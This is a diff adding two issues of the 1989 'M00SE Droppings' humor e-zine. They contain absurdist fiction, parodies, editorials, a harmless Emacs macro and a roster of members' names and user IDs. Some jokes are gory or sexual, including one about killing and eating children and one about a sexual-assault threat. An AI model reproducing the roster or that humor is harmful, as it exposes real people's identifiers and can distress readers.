+"Yes, Marty my life, my splatball. I'll follow you to the ends of the Earth, or +at least 'til next Tuesday." + And so we went. I'm not exactly sure *where* we went, but at least it +wasn't that dismal palace anymore. That place can get dreary after a while. +'Specially with Stella moaning about the apples in her nostrils. My, what a +wet blanket. Definitely depressing. + We hopped into Marty's helicopter, and drove off down the road. It +really is a nice 'copter - all shiny chrome and gleaming glass and naugahide +interior. Too bad for all those naugas, though. Poor things. + We bumped along, never a care in the world, until suddenly there was +this sickening thud. Marty pulled over and got out to look at what we'd hit. +It was a narwhal, the poor thing. Broke its horn clean off, and so it looked +just like a manatee. A mortally injured manatee, granted, but a manatee +nonetheless. We picked it up, beat it until it was totally and irretrievably +dead, and dumped it into the trunk. + ("FOOT LOCKER!" Shut up, Stella. I'm telling this story.) + A little while later, after Marty strapped on a parachute and bailed +out, mumbling something about forgetting to turn off the iron that morning, +I took the 'copter down to ground level, and had a look around. Unfortunately, +I took it too far and ended up decapitating a whole schoolyard full of kids +with the 'copter blades. Hey, when I goof, at least it's productive. + I dragged myself out of the burning, twisted wreckage, only to find +that the trunk and a case of Chivas Regal had been thrown clear. Being unable +to carry either one of them for any distance, what with the narwhal carcass +in the trunk and everything, I decided to make the best of a bad job and have +a party. I opened the trunk, thinking to hack off a few narwhal steaks to +roast in the burning wreckage, only to find that the narwhal was gone and a +full array of Mary Kay cosmetics had appeared in its place. (Yes, it was the +trunk from the living room.) + Well. If I couldn't barbecue narwhal, I'd have to make do as best I +could. I searched around the carnage of the schoolyard for some tidbits, and +you know something? Children wings basted with cold cream really does hit the +spot. Especially when chased with a couple of bottles of Chivas. Aaaaaaaah! + Well, just about then, I heard the sound of windswept nylon, and Marty +landed square on my head. Little darling - he's such a kidder. He scrambled +off, hacking at the shroud lines with a bow saw, and screaming about spiders. +What a character. I tried to follow him, but ended up getting lost among all +the ambulances which suddenly appeared. All those pretty flashing lights. +Quite hypnotic. I guess that's what first attracted me to Marty. Ambulances +follow him, like sharks follow a whaling ship. He really does lead an exciting +life. + +Just your daily dose of wierdness.... +Lorelei +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[Submitted (Without even knowing it! ;^) ) by atw@mtunf.ATT.COM (Allen Ward) +ANOTHER not-m00se that should be! -Pat] + + LITTLE RED RIDING HOOD + 1989 + +Once upon a time the was a girl by the name of Little Red Riding Hood, who +was on her way to her Grandmother's house. As she passed a large rock a +large bear jumped out and said "Red Riding Hood, The Big bad wolf is waiting +for you at your grandmother's house. He said he's going to tie you down on +the bed, and screw your brains out!" "No he won't," said Little Red Riding +Hood. "I've got a gun, and if he tries that I'll blow him away!" So off +goes Little Red Riding Hood down the road to Grandmother's house when she +is approached by a rabbit. "Little Red Riding Hood, the Big bad wolf is +waiting for you at your Grandmother's house, He said he's going to tie you +down to the bed and screw your brains out!" "I'm not worried Mr. Rabbit, +I've got a gun, and if he tries something, he's going to be in big trouble." +So off goes Red down the road and finally arriving at Grandmother's house. +As she walks through the front door the Big bad wolf jumps out and says,"AH HA, +Now I've got you Little Red Riding Hood! I"m going to tie you to this bed and +screw your brains out!" Red Riding Hood quickly pulls her piece and says "OH +NO YOU'RE NOT GOING TO TIE ME TO THE BED AND SCREW MY BRAINS OUT, I HAVE A GUN +AND YOU'RE GOING TO EAT ME LIKE THE FAIRY TALE SAYS!!!!" + +Fairy Tales have changed! + AL + {PROTECTOR OF THE PLEASURE PRINCIPLE} +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[Submitted by Yale-Martin -Pat] +----------------------------------------------------------------- +_The Cat in the Hat_ +by Dr. Seuss, 61 pages. Beginner Books, $3.95 +Reviewed by: Josh LeBeau + +The Cat in the Hat is a hard-hitting novel of prose and poetry in +which the author re-examines [?] through the window of their +single-family dwelling. In the foreground, a large tree/phallic +symbol dances wildly in the wind, taunting the children and +encouraging them to succumb to the sexual yearnings they +undoubtedly feel for each other. Even to the most unlearned +reader, the blatant references to the incestuous relationship the +two share set the tone for Seuss' probing examination of the +satisfaction of primitive needs. The Cat proceeds to charm the +wary youths into engaging in what he so innocently refers to as +"tricks." At this point, the fish, an obvious Christ figure who +represents the prevailing Christian morality, attempts to warn +the children, and thus, in effect, warns all of humanity of the +dangers associated with the unleashing of the primal urges. In +response to this, the cat proceeds to balance the aquatic +naysayer on the end of his umbrella, essentially saying, "Down +with morality; down with God!" + +After poohpoohing the righteous rantings of the waterlogged +Christ figure, the Cat begins to juggle several icons of Western +culture, most notably two books, representing the Old and New +Testaments, and a saucer of lactal fluid, an ironic reference to +maternal loss the two children experienced when their mother +abandoned them "for the afternoon." Our heroic Id adds to this +bold gesture a rake and a toy man, and thus completes the Oedipal +triangle. + +Later in the novel, Seuss introduces the proverbial Pandora's +box, a large red crate out of which the Id releases Thing One, or +Freud's concept of Ego, the division of the psyche that serves as +the conscious mediator between the person and reality, and Thing +Two, the Superego which functions to reward and punish through a +system of moral attitudes, conscience, and guilt. Referring to +this box, the Cat says, "Now look at this trick. Take a look!" +In this, Dr. Seuss uses the children as a brilliant metaphor for +the reader, and asks the reader to re-examine his own inner self. + +The children, unable to control the Id, Ego, and Superego allow +these creatures to run free and mess up the house, or more +symbolically, control their lives. This rampage continues until +the fish, or Christ symbol, warns that the mother is returning to +reinstate the Oedipal triangle that existed before her abandonment +of the children. At this point, Seuss introduces a many-armed +cleaning device which represents the psychoanalytic couch, which +proceeds to put the two youngsters' lives back in order. + +With powerful simplicity, clarity, and drama, Seuss reduces +Freud's concepts on the dynamics of the human psyche to an easily +understood gesture. Mr. Seuss' poetry and choice of words is +equally impressive and serves as a splendid counterpart to his +bold symbolism. In all, his writing style is quick and fluid, +making _The Cat in the Hat_ impossible to put down. While this +novel is 61 pages in length, and one can read it in five minutes +or less, it is not until after multiple readings that the genius +of this modern day master becomes apparent. + +------------------------------------------------------------------------- +Josh LeBeau writes for Koala, UCSD's humor newspaper, which has absolutely +no copyright notices anywhere. +------------------------------------------------------------------------- +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- +NAME: Michael Oose +SCHOOL ADDRESS: Drew University + BC-COMPCEN + Madison, NJ 07940 +PHONE NUMBER: Drew Ext. 8423 +NODE NAME: DRUNIVAC +USERID: MOOSE +HOME ADDRESS: RD 1 + Harappa, ON +SCHOOL: Drew University +CLASS: 1993 +MAJOR: Computer Science +NICKNAMES: Mike (friends and family) + Mr. Oose (zoo keepers, animal trainers, publishers clearing + house) + Moose (close friends and mammals) + Animal (those who have seen me eat) + Communist Pig (those who don't like mooses) + Dinner (hunters) +BIRTHDATE: Sometime in the late 60's (what do you expect I was born in the + woods). +RELIGION: Mookerjian (I worship the confused moose god.) +POLITICS: Anarchist +PHYSICAL DESCRIPTION: + Big, heavy, furry, big nose, two big antlers, a stylist tail, + four long strong legs, two big brown eyes. I don't wear + glasses since they won't balance right on my nose, and besides + contacts are much better for those rare moments I am being + chased by hunters. +HOBBIES: I like to write trashy romance novels (I am still working on + the first one.) I love to play practical jokes, and leave my + friends weird mail. I am also member of a semi-secret + Illuminati orginization. I also like to sleep, and sometimes + chase rug rats. Oh, eating, how could I ever forget that. I + love to eat line printer paper. YUM! I watch soap operas too. + Playing dead at the side of a major highway is always fun. +READING: I read a lot of nature books. They remind me of home. I also + tend to spend a lot of time researching the great trash authors + of this decade. Romance novels are so educational. +MUSIC: I'm a wilderness moose. I love that hoof stomping country beat, + and their wonderfully traditional "my dog died" lyrics. They + make me feel at home. That doesn't make me stuff though. On + weekends I wear some fancy fur and slick back my antlers for + a night at the clubs. Such fun. I am the life of the party + there because I have more feet than anyone else there, and let + me tell you what an added advantage a tail is at those places! +FAVORITE TV SHOW: Bullwinkle. (He's my hero.) +FAVORITE MOVIES: The Moose That Ate Everything, The Three Mooseketeers +THINGS THAT ANNOY ME: + Moose Hunters, construction sites, forest fires, paper shortages + Zoos, People trying to make cloth lines on my antlers. +LOVES: The company of fellow mooses. I'm all alone at the moment. + ATTENTION FEMALE MOOSES: SEND MAIL. +QUOTES: + Mooooooooose. + -Unknown + + ArooooOOOOOOoooooooo. + -Traditional + + I'm so confused. + -Bullwinkle + + I'm so depressed. + -unavailable for further comment +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- +TOTAL CHAPTERS: 162 + +THRONG/CHAPTER USERID NODE NAME +-------------------------------------------------------------------------------- + +Alaska thr0ng FSDEM2 @ ALASKA Mugwump + (5 chapters) FSJBK @ ALASKA G00se + FSJPC @ ALASKA Jonathan + FSSTM @ ALASKA Steve Munk + TSJV @ ALASKA Boogel + +Apple Computer, inc. chapter REWING @ APPLE.COM SlickRick + +Berkeley chapter MHIRSCH @ MATH.BERKELEY.EDU + Micheal + +Boston University thr0ng ENLDC8C @ BUACCA Paladin + (3 chapters) LAN @ BUCSF.BU.EDU + Larry Nathanson + CLXLAUC @ BUACCA Rorshach + +Brockport thr0ng DS1437 @ BROCK1P Don Schleede + (3 chapters) KG5927 @ BROCK1P Fry-Guy + MW2440 @ BROCK1P FryM00se + +Bucknell Chapter SHAFFERJ @ BKNLVMS James Shaffer + +The U.B. Mega/Giga Throng + (46 Chapters) + V047KFZ7 @ UBVMS Grim-M00se + V054NN84 @ UBVMS PacifistM00se + V056GZPK @ UBVMS BritM00se + V056QKT3 @ UBVMS L0i0m00se + V061REGM @ UBVMS Captain Devious! + V065L4KV @ UBVMS Donald Duck + V065LRN6 @ UBVMS The M00sco Kid + V066EDD9 @ UBVMS Musical M00se + V067LUFD @ UBVMS Riff, DeathM00se + V068GZ8E @ UBVMS Evil + V068MVHU @ UBVMS Brandy M00se + V078QM32 @ UBVMS F00nels + V078JQ@Q @ UBVMS BullWinkle + V083PZ6U @ UBVMS Confused + V085PWPZ @ UBVMS Vam00se,Valerie :) + V090QRDN @ UBVMS Irish DreamM00se + V093QLRB @ UBVMS Gund Prime + V096JBXL @ UBVMS G0neR0gueSch0lar M00se + V096NHDQ @ UBVMS Chris M00spaw + V097NQQG @ UBVMS EXPL0RER 01 + V098PZJD @ UBVMS Cardinal M00se, The + Grand Illuminator + V100JVAE @ UBVMS Red M00se + V101PYRW @ UBVMS Villager M00se + V109MEN5 @ UBVMS O.DM00SE + V110JQ34 @ UBVMS The Reverend M00ster + V113PX6J @ UBVMS Not M00se + V115NQF5 @ UBVMS Michele Karlinski + V115GWE6 @ UBVMS Canisius M00se,Doctor X + V115QRJ8 @ UBVMS MightyM00se + V116PFFT @ UBVMS Zem00se + V117MG7B @ UBVMS Lord Masinde,L0rd M00se + Spot Toxic + V118PV6E @ UBVMS Crissm00se + V122QQVZ @ UBVMS Sweeper M00se + V123NKUX @ UBVMS DArkling M00se + V123P62M @ UBVMS Lorelei + V126HN32 @ UBVMS Father Judas M00se + V129N2V6 @ UBVMS G.I. M00se, SgtGim00se + V133NNUW @ UBVMS BigBadM00se + V285RAAG @ UBVMS Sm00sh + V291NHTP @ UBVMS Pat, WarM00se, + DangerM00se + V409EPKE @ UBVMS CygM00se + + + And our REMOTE members of the UB SUPERTHR0NG: + + JJZ @ S.CC.PERDUE.EDU + EC256A46 @ CANISIUS Claudette M00se + DMCGURRIN @ CANISIUS Long Legs Dee M00se + HARRIS @ CANISIUS (NO NAME GIVEN) + IN%"JPRISCO @OSWEGO.OSWEGO.EDU + Pope Zaphod I of the 80 M00ses + +Colgate U chapter JSIMON @ COLGATEU Jamie + +Connecticut College chapter LMRAC @ CONNCOLL Rat + +Connecticut State U thr0ng CLAFFEY_JOR @ CTSTATEU Indiana Joe + (8 chapters) COLANGELO @ CTSTATEU Ken Colangelo + CRAMER @ CTSTATEU Scopus + HENNEQUI_WEM @ CTSTATEU Anonym00se + LEE_JES @ CTSTATEU SalmonM00se + PHINNEY_AVK @ CTSTATEU Phredde + WENGER_BRE @ CTSTATEU + WITHALL @ CTSTATEU Goblin + +Cornell thr0ng CBRY @ CORNELLA Ladykate + (2 chapters) ZEMANIAN%CHEME.DECNET @ CHEME.TN.CORNELL.EDU + Spaceman Biff + +CUNY chapter S99QC @ CUNYVM Yossi + +Drew Thr0ng KLOHNER @ DRUNIVAC Karl Lohner + (3 chapters) MHEAD @ DREW Drewid + MOOSE @ DRUNIVAC Mr. Oose + +HABiT (H0use 0f Ap0stles DB06103 @ UAFSYSB M00se Man + 0f Biggles Thr0ng) DB06103 @ UAFSYSB Ms. M00se + (3 chapters) JC06081 @ UAFSYSB Nemesis Milph + +Hartford thr0ng AHRENS @ HARTFORD Wrangle + (7 chapters) BEAUBIEN @ HARTFORD Sindex + DICKSON @ HARTFORD Pickle/MOON ROACH! + ROSSI @ HARTFORD The Chairman + SZIMMERM @ HARTFORD Greymalkin + WEIMAN @ HARTFORD Rhiannon/Sushi + WHITE @ HARTFORD Demon Ick + +Haverford thr0ng K_KRAVITZ @ HVRFORD Q.[A + (2 chapters) S_BLINN @ HVRFORD Sean Blinn + +Kansas State Uni. Chapter BETH1 @ KSUVM Beth + +Lansing, NY thr0ng B45J @ CORNELLA Lord Sabre + (4 chapters) B45J @ CRNLVAX5 Half-Elf + B45J @ CRNLVAX5 The Innkeeper + WXCY @ CRNLVAX5 Lord Trelf + +Loyola thr0ng FRANK @ LOYVAX Spank + (8 chapters) GAIL @ LOYVAX Sybil + KEVIN @ LOYVAX + Mr. Sparebuttonssuppliedwithhisshirt + MARKUS @ LOYVAX Markus + MARY_BETH @ LOYVAX Cinderella + PAMELA @ LOYVAX Mommydammit + STASA @ LOYVAX Phoenix + TERESA @ LOYVAX Teresa + +Maine chapter IO80222 @ MAINE Rainmaker + +Marist chapter KKG1 @ MARISTB Crimson M00se + +New Hampshire Uni. Chapter J-BUTMAN @ UNHH Oliver + +North Dakota State U. chapter UD140680 @ NDSUVM1 The Anachronist + +Northeastern U. chapter ACM_MDB @ NUHUB The_Sage + +0ber0n Trading Thr0ng ST5616 @ SIUCVMB QuantumCat + (2 chapters) ST6344 @ SIUCVMB Black_D0G the pirate + +Old Dominion University thr0ng LBS100S @ ODUVM (nick unknown) + (3 chapters) MRH100C @ ODUVM Frizbog Gordnik + SAB100C @ ODUVM Sandi Bedford + +Penn State thr0ng MSP @ PSUECL Mark S. Pfaff + (2 chapters) WCF @ PSUECL Bill Fenner + +Portland thr0ng IP85014 @ PORTLAND qwerty + (2 chapters) IP85033 @ PORTLAND Mitya the Red M00se + +Pratt Institute Chapter TPIERCE @ PRATT M0ab + +Purdue Chapter PATWHITE @ PURCCVM Patrick White + +Siberacuse thr0ng CRUSSELL @ SUNRISE GypsyLynx + (7 chapters) JBANKERT @ SUNRISE CHAOS Engineer + RABEELER @ SUNRISE Beez + RETANTS @ SUNRISE Scamp + VASISON @ SUNRISE Vince Sison + LIBLJR @ SUVM Niniane + LIBISU2 @ SUVM Guardian Angel + +Stony Brook thr0ng CJAMES @ SBCCVM Carl James + (12 chapters) DEISENBE @ SBCCVM David Eisenberg + GSMITH @ SBCCVM Gregg Smith + JDN @ SBCS.SUNYSB.EDU + John Norden + JROSENSH @ SBCCVM JoM00se + RRKHAN @ SBCCVM Romel + WALL @ SBCCVM Wall + DNOVELLA @ SBCCVM Doug Novellano + MFISCHER @ SBCCVM Greendog + MROSE @ SBCCVM MagickM00se + GSMITH @ SBCCVM M00sicM00se + CLFSI @ SBCCVM Fnord + +Sweden chapter ICE @ SEQZ51 Ice + +U California Riverside chapter WATKINS @ UCRVMS Kevin + +UConn chapter WALLFESH @ UCONNVM Sande + +U Regina thr0ng BLACKWEL @ UREGINA1 Mickey M00se + (2 chapters) RUDYK @ UREGINA1 BackdoorM00se + +Villanova thr0ng 054649739 @ VUVAXCOM Squish + (6 chapters) 188622462 @ VUVAXCOM Kamikaze + 580074787 @ VUVAXCOM Fiben + 59401463 @ VUVAXCOM Starscream + SWORD05 @ VUVAXCOM Ford Prefect + WATER @ VUVAXCOM The Doctor + +Washington State U. thr0ng 24945863 @ WSUVM1 Bard + (3 chapters) 23480853 @ WSUVM1 Ishtar + 90289872 @ WSUVM1 Cthulhu + +Wesleyan thr0ng AG @ WESLEYAN Damsel + (8 chapters) JBLUESTEIN @ WESLEYAN WabeWalker + JVINCENT @ WESLEYAN Lord Rassilon + JDOTY @ WESLEYAN The Keeper + LBURKA @ WESLEYAN The Heresiarch + LGREENSTEIN @ WESLEYAN Pope Atheist I + LMARR @ WESLEYAN His Serene Randomness + RSIMON @ WESLEYAN Rich ?? + +Wilfred Hyde-White thr0ng CWELLER @ TRINCC b0liver shagnastY iv + (2 chapters) FANTASYG @ TRINCC Trinity Fantasy Guild + +Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!! + +?? chapter OZER%ARKLE.DECNET + @ CHEME.TN.CORNELL.EDU +-------------------------------------------------------------------------------- + Pointy Issue-Pointy Issue-Pointy Issue-Pointy Issue-Pointy Issue-Pointy Issue +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se33 b/textfiles.com/magazines/M00SE/m00se33 new file mode 100644 index 00000000..715b1f5c --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se33 @@ -0,0 +1,643 @@ +-------------------------------------------------------------------------------- +'Nointy Issue - 'Nointy Issue - 'Nointy Issue - 'Nointy Issue - 'Nointy Issue - +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #33| Disclaimer: The Editors will place almost anything in |Nov. 17, 1989 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: WarM00se + M00se List updates and changes: Darkling M00se + (This space to let): Contact +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + +Hello, all! + Here I sit, diligently typing away, as my grades slip slowly and surely +down the toilet. 8-) + Not much new here. The flag-burning issue is slowing to a simmer, but +there is a bright light on the horizon as we begin to research the purchasing of +rubber stamps to start stamping U.S. currency. ;^) If anyone is interested, +please send me e-mail. My "contact" says a stamp may cost between $10-$30, but I +think we may be able to get a discount if we order several/a lot. + If you are interested, or if you have no idea what I'm talking about, +but want to learn, then send to MHANDELS@DREW.BITNET and he'll be glad to give +you more info. (Even though he has NO idea I'm writing this, and will find out +at the same time you do! ;^) ) + -Pat Salsbury + -DangerM00se + V291NHTP@UBVMS.BITNET +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Still no word on M.I. T-shirts, (C'mon, Bill!), but if you buy the +ILLUMINATI EXPANSION SET #2 but Steve Jackson Games, you get a pin with the +eye-in-the-pyramid symbol and the words "I've been Illuminated." Also, they have +a catalog so you can order other neat stuff. They have illuminati symbol enamel +pins and car-wars kill stickers, etc. etc. etc.... +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + WAAAAAAAAYYYYY back in issue #1, Bill Dickson was talking about how the +FBI fnord has probably got a file for each and every one of us because we're +receiveing this subversive, underground newsletter. He said that he was going to +write to them in 5 years and ask for his file. He understands that they have to +give it to you, but that they can black out (with magic marker) anything that +they don't want you to know (about yourself!). :) + Well, I've been thinking about it, and since I KNOW that I have an FBI +fnord file, ever since this summer (Don't ask. ;^) ), I thought I would start +SENDING them things to put in my file. Things that I want kept for posterity. :) +I think I may start sending them issues of Droppings, but I'll have to edit out +things like the flag-burning fnord, the currency stamping fnord, and, for that +matter, THIS! :) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + In the spirit of Jack "The Joker" Nicholson, and the weirdness of the +M.I. (BTW, I've semi-adopted '-Weirdness' as another signature of mine, just so +you know), I mailed out a letter/bill to an insurance company today (from when I +cut my finger - another story) and, in addition to the standard ball-point-pen +address and return address, I added the word 'Urgent.' written with my left hand +in green crayon on the front of the envolope. This is just one small example of +the power of crayon, and I think that EVERYONE should start carrying at LEAST +one crayon, and preferably the standard pack of 8 Crayolas (Which is what I +have). A note of warning/usefullness. Purple crayon, by its very nature, has +such a high believability-rate, that anything written in it is absolutely and +unarguably true. (So if you were to take a test, do miserably on it, but write +'This is an "A"' at the top in purple crayon, then it will be an A. :) (Even +better is to write the word "KEY" at the top, then everyone else's test will +have to be graded according to YOUR answers! ;^) ) + Don't try to cancel purple crayon with other purple crayon. I'm not sure +what would happen, but I bet it's nasty. + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + By the way...Notice anything different about the disclaimer on this or +the last issue? No? I thought not. (Heh Heh Heh!) Don't bother to check it out. +I'm sure it won't help.....Really! Don't bother to look! +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Regarding the LLL: + I love lobsters.....however, I love me broiled! HAHAHAHA! +Do not be swayed by the sweet tongued, deceptive crustaceans! +They are evil! Whores of the deep! Deal with them in the manners +the deserve! Steamed, broiled, fried, even raw! Broil the lobsters, +fry the clams, steam the scallops, and baste the mussels!!!!!! + +Join the Society For the Consumption of Crustaceans!!!!!! + +Your lobster-munching guru, +Lord Trelf + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +I worked this out a while ago. It's a handy little macro for those +m00ses out there that use EMACS to to their editing. I use it +contantly. It automatially inserts 00 when you type "oo" or "OO" -- + indispensable!. + +--Michael (mighty M00SE) Hirsch + +(defun moose(arg) + "start of a whole M00SE-mode" + (if (or (< (current-column) 1) + (not (save-excursion (forward-char -1) (looking-at arg)))) + (insert arg) + (delete-char -1) + (insert "00"))) + +(defun moose-O() + (interactive) + (moose "O")) + +(defun moose-o() + (interactive) + (moose "o")) + +(local-set-key "o" 'moose-o) +(local-set-key "O" 'moose-O) + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +From Eric Bjarnason + + Star Dreck by Hemingway + + I was the captain. I was heading for the bridge. The captain +belonged on the bridge. He was the captain. I walked onto the +bridge. + Uhura was the communications officer. She was sitting at the +communications console. Dammit, Uhura was ugly. Probably everyone on +the bridge thought so. Chekov thought so. If only those damn script +writers would put it in the damn script. Then maybe one of us could +say it. Damn. + I turned to Uhura. "Put Kahn on the screen", I said. + "Kahn?" + "Yes, Kahn." + "On the screen?" + "Yes, the screen." + "You want me to put Kahn on the screen?" + Dammit, Uhura was stupid too. Just then Kahn came on the screen. +I said, "God dammit Kahn, what do you want?" + "I want all the information on the Genesis Project." + "The information?" + "Yes." + "On the Genesis Project?" + "Yes." + "All of it?" + "Yes." + It seemed as though Kahn wanted all the information on the Genesis +Project. Dammit, Kahn was ugly. But I knew this Kahn. He was out to destroy +me. I couldn't give him the information. I had to destroy him. If I gave +him the information then he would destroy me and I knew I had to destroy him. + I told Chekov to load the torpedo tubes. The torpedo tubes held the +photon torpedos. The photon torpedos would destroy Kahn. Chekov loaded the +torpedo tubes. Kahn was on the screen again. "I want all the information on +the Genesis Project." + I told Chekov to fire the photon torpedos. + "Here it comes," I said. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + The Armadillo -- Chapter Three + + The Armadillo stalked down the hallway and descened the stairs, en +route to the local department of the NYPD, the dame in tow. Reaching the +street, he brushed loose cement and gravel from the hood of his car, a +mint-condition Model-T Ford with a modified engine that let him do a +break-neck speed of 35 m.p.h. He motioned the dame into the passenger seat, +and once inside said, "So, what's your name, Shweetheart?" + "Bunny," she breathed. "Bunny Wabbyt" + "Your folks had a helluva sense of humor," The Armadillo said. + "Do you really think they were funny?" Bunny asked. + "No, I just said they had a helluva sense of humor. Elephants have a +helluva strong odor, but that don't mean they smell good. Now, we're +heading down to Precinct 96 to check in with a drinking buddy of mine +who shood be able to get you some protection and give me some leads." + As they drove away, they passed a very undercover looking car with +a very government agent looking person inside. The very government +agent looking person picked up her car phone and said, "Agent Hindenburgs +to Scout Leader Q. Agent Hindenburgs to Scout Leader Q. Chrome Dome has been +sited. Repeat - Chrome Dome has been sited. Proceeding" + + Arriving at the Precinct, The Armadillo braced himself for what was +always an annoying string of occurences. His friend Lt. Malone [named +after his father's favorite character in 'The Untouchables'] was always +willing to help him, but some of the other boys in the precinct wouldn't +let him forget that he wasn't exactly human. This time, he was determined +to put an end to the jibes as well get the info he needed. + He actually made it halfway through the precinct before the jokes +started. + "Phew. Smells like a wild animal just walked in." + "Hey, that reminds me. I have to wax my car this weekend." + "Ya' know, he kinda' looks like an armadillo I once ran over down in +Texas about 10 years ago." + That did it. + The Armadillo walked up to the person who made the last remark while +Bunny looked on, sensing something bad was about to go down. The Armadillo +stopped inches before the man who uttered that last, fateful joke. + "Think that's funny, bud?" he asked. + The smart-assed cop grinned. "Sure do." + "What's your name boy?" The Armadillo asked. + "Lt. Roland T. Gunner." + "Ya' know, Rolly, my mother was run over about ten years ago in Texas," +The Armadillo said. + Everyone in the room winced. Everyone, that is, except Gunner. + "Ya' gonna report me, MetalHead?" + "No," said The Armadillo, ice in his breath. + "So am I supposed to care?" quipped Gunner. + With amazing speed [for an Armadillo anyway], The Armadillo grabbed +Gunner by the back of the head and slammed it into his chest. Gunner's +head impacted with The Armadillo's chest armor. Gunner, not surprisingly, +hit the floor, dreaming of large women, onion dip, and coils of copper +wire. [He was a weird guy.] + The Armadillo looked about the room with hard, staring eyes. "How do +you think he feels now," he asked. "Better? Or Worse?" Without another word, +he walked the rest of the way to Malone's office. Bunny stared at him in awe +every step of the way. + It took Malone thirty minutes to find the info that The Armadillo wanted. +Finally he looked up from his terminal and said, "According to the records, +Alfonse Capone was buried in a small cemetary in Chicago when he died. But +there was an entry in Chicago Police Department's Records and the F.B.I. that +the grave was dug up and the body stolen two weeks ago. The F.B.I. figures +it was just some looney who stole it. They haven't been able to recover it." + "Then he IS alive!" Bunny screeched. " I told you!" + "Apparently you were right, Doll," The Armadillo said. + "What the hell are you two talking about?" asked Malone. + The Armadillo took a swig of bourbon, grimaced, and said, "Apparently +Al Capone is alive and trying to take over the Mafia in New York City, +Jimmy." + "That's ridiculous," exclaimed Malone. "That couldn't happen! It's +impossible." + "And I suppose a walking armadillo isn't?" said The Armadillo +sarcastically. + "Yeah, you're right. God I need a drink" + "Well then," said The Armadillo, "let's go." + + Just then the phone rang. Malone picked it up, looked confused, and +handed it to The Armadillo. "It's for you." + He took it. "Yeah, The Armadillo speakin'." + "Dillo, you're a dead man," said an metallic Chicago-Italian voice. + "Let me guess...you must be RoboCapone," The Armadillo said, sarcastically +again. [He seems to be growing a taste for sarcasm.] + Just then a bull-horn sounded. + "COME OUT PEACEFULLY! THIS IS THE MEGA-INTELLIGENCE BUREAU! WE HAVE THE +PRECINCT SURROUNED!" + "Ah shit," said The Armadillo. "I knew it was gonna' be one of those +days." + +BUNNY WABBYT? HAS THE AUTHOR LOST HIS MIND????????? +WILL CAPONE KILL THE ARMADILLO? +WILL THE M.I.B. KILL THE ARMADILLO? +WILL TOO MUCH BORBOUN KILL THE ARMADILLO? +WILL THE ARMADILLO HAVE SEX WITH BUNNY? +WILL SEX WITH BUNNY KILL THE ARMADILLO? +SHOULD I EVER LISTEN TO WARREN ZEVON AGAIN WHILE WRITING A STORY? + +The answers to these and other questions are still sitting in THAT DAMNED +ENVELOPE AT 'RICK'S PLACE', but since it doesn't seem you are gonna' go +there, tune in next time... + +Same Armadillo time......Same Armadillo channel..... + +Superguy Digest, a division of the Turner Broadcasting Network +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From Joanne Rosenshein + +On the twelfth day of dieting, M00se love gave to me: + +Twelve hot fidge sundaes, +Eleven Hostess Twinkies, +Ten cherry cheese cakes, + +Nine lady fingers, +Eight date nut muffins, +Seven oatmeal cookies, +Six bags of Fritos, +*FIVE* coffee rings, + +Four sticky buns, +Three Clark bars, +Two marbled cakes, +And a pizza with pepperoni. +to. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +(And something I just got this morning.... -Pat) + |---------------------------------------------------------------------------| + | #=============# /\ ******************* | + | # E U R O P E # North-Pole ~~~~~ ***** ************ | + | #=============# ~~~~~~ ******* ********* | + | ******** ********** | + | North- **N***** ******F***** | + | ** Sea *******S* *********** | + | *** **** **** *********** | + | ~~~~ *** ~~~~~ *** *********** | + | ~~~~~~~ ** *** ~~~ ** ******** | + | ~~ ~~~~~~~ *IR *GB* ***** ************ | + | ~~ ~~~ ** ****** ** ***************************** | + | ~~~~ ******* **H**********GDR******************** | + | |\ *************************P************ | + | | \ **************GER******************USSR*** | + | ~~~ | \ ******F******************************** | + | |___\ ~~~~ *************/^^\**/\***************** | + | ___/oo___ ************/C/^^-^^\***A******H******* | + | ~~\______/~~~ ***********/^-^/^^^*\^^\/\************** | + | ~~~~ ************************************** | + 